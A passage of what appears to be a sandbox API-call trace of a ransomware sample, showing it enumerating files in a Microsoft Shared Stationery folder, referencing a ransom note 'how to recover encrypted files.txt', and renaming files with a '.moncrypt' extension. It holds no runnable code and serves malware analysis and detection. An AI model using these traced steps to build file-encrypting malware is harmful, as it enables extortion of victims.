CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0050.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0050.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.152] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.152] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0050.152] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm", cchWideChar=68, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htmn", lpUsedDefaultChar=0x0) returned 68 [0050.152] CharLowerBuffW (in: lpsz=".htm", cchLength=0x4 | out: lpsz=".htm") returned 0x4 [0050.152] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".htm", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".htmShared\\Stationery\\Garden.htmn", lpUsedDefaultChar=0x0) returned 4 [0050.152] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa410937, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.jpg", cAlternateFileName="")) returned 1 [0050.152] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.152] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.152] GlobalLock (hMem=0x440004) returned 0x550170 [0050.152] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.152] GlobalUnlock (hMem=0x440004) returned 0 [0050.152] GlobalLock (hMem=0x440004) returned 0x550170 [0050.152] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.152] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.152] GlobalUnlock (hMem=0x440004) returned 0 [0050.152] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.152] GlobalUnlock (hMem=0x44000c) returned 0 [0050.152] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.152] CharLowerBuffW (in: lpsz="Garden.jpg", cchLength=0xa | out: lpsz="garden.jpg") returned 0xa [0050.152] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.152] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.153] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="j", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.153] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0050.153] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0050.153] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.153] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.153] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.153] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.153] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.153] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0050.153] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg", cchWideChar=68, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpgn", lpUsedDefaultChar=0x0) returned 68 [0050.153] CharLowerBuffW (in: lpsz=".jpg", cchLength=0x4 | out: lpsz=".jpg") returned 0x4 [0050.153] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".jpg", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".jpgShared\\Stationery\\Garden.jpgn", lpUsedDefaultChar=0x0) returned 4 [0050.153] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa410937, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.jpg", cAlternateFileName="")) returned 0x54e200 [0050.153] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0050.153] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0050.153] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0050.153] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg", dwFileAttributes=0x20) returned 0 [0050.154] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0050.154] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.moncrypt")) returned 0 [0050.154] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50881ad, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50881ad, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444efb5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1594, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_1.emf", cAlternateFileName="")) returned 1 [0050.154] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.154] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.154] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.154] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.154] GlobalUnlock (hMem=0x44000c) returned 0 [0050.154] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.154] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.154] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.154] GlobalUnlock (hMem=0x44000c) returned 0 [0050.154] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.154] GlobalUnlock (hMem=0x440004) returned 0 [0050.154] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.155] CharLowerBuffW (in: lpsz="Genko_1.emf", cchLength=0xb | out: lpsz="genko_1.emf") returned 0xb [0050.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0050.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0050.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0050.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0050.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.155] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0050.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf", cchWideChar=69, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf", lpUsedDefaultChar=0x0) returned 69 [0050.155] CharLowerBuffW (in: lpsz=".emf", cchLength=0x4 | out: lpsz=".emf") returned 0x4 [0050.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".emf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".emfShared\\Stationery\\Genko_1.emf", lpUsedDefaultChar=0x0) returned 4 [0050.155] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50881ad, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50881ad, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444efb5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1594, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_1.emf", cAlternateFileName="")) returned 0x54e200 [0050.155] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0050.155] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0050.155] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0050.156] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf", dwFileAttributes=0x20) returned 0 [0050.157] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0050.157] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf.moncrypt")) returned 0 [0050.157] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50d4467, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50d4467, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44515cbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2864, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_2.emf", cAlternateFileName="")) returned 1 [0050.157] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.157] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.157] GlobalLock (hMem=0x440004) returned 0x550170 [0050.157] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.157] GlobalUnlock (hMem=0x440004) returned 0 [0050.157] GlobalLock (hMem=0x440004) returned 0x550170 [0050.157] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.157] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.157] GlobalUnlock (hMem=0x440004) returned 0 [0050.157] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.157] GlobalUnlock (hMem=0x44000c) returned 0 [0050.157] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.158] CharLowerBuffW (in: lpsz="Genko_2.emf", cchLength=0xb | out: lpsz="genko_2.emf") returned 0xb [0050.158] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.158] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.158] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.158] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0050.158] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0050.158] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0050.158] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.158] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.158] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0050.158] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.158] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.158] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0050.158] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf", cchWideChar=69, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf", lpUsedDefaultChar=0x0) returned 69 [0050.158] CharLowerBuffW (in: lpsz=".emf", cchLength=0x4 | out: lpsz=".emf") returned 0x4 [0050.158] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".emf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".emfShared\\Stationery\\Genko_2.emf", lpUsedDefaultChar=0x0) returned 4 [0050.158] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50d4467, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50d4467, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44515cbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2864, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_2.emf", cAlternateFileName="")) returned 0x54e200 [0050.158] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0050.158] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0050.159] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0050.159] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf", dwFileAttributes=0x20) returned 0 [0050.159] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0050.159] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf.moncrypt")) returned 0 [0050.159] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5120721, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5120721, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c7f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Graph.emf", cAlternateFileName="")) returned 1 [0050.159] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.159] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.159] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.159] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.159] GlobalUnlock (hMem=0x44000c) returned 0 [0050.159] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.160] GlobalLock (hMem=0x440004) returned 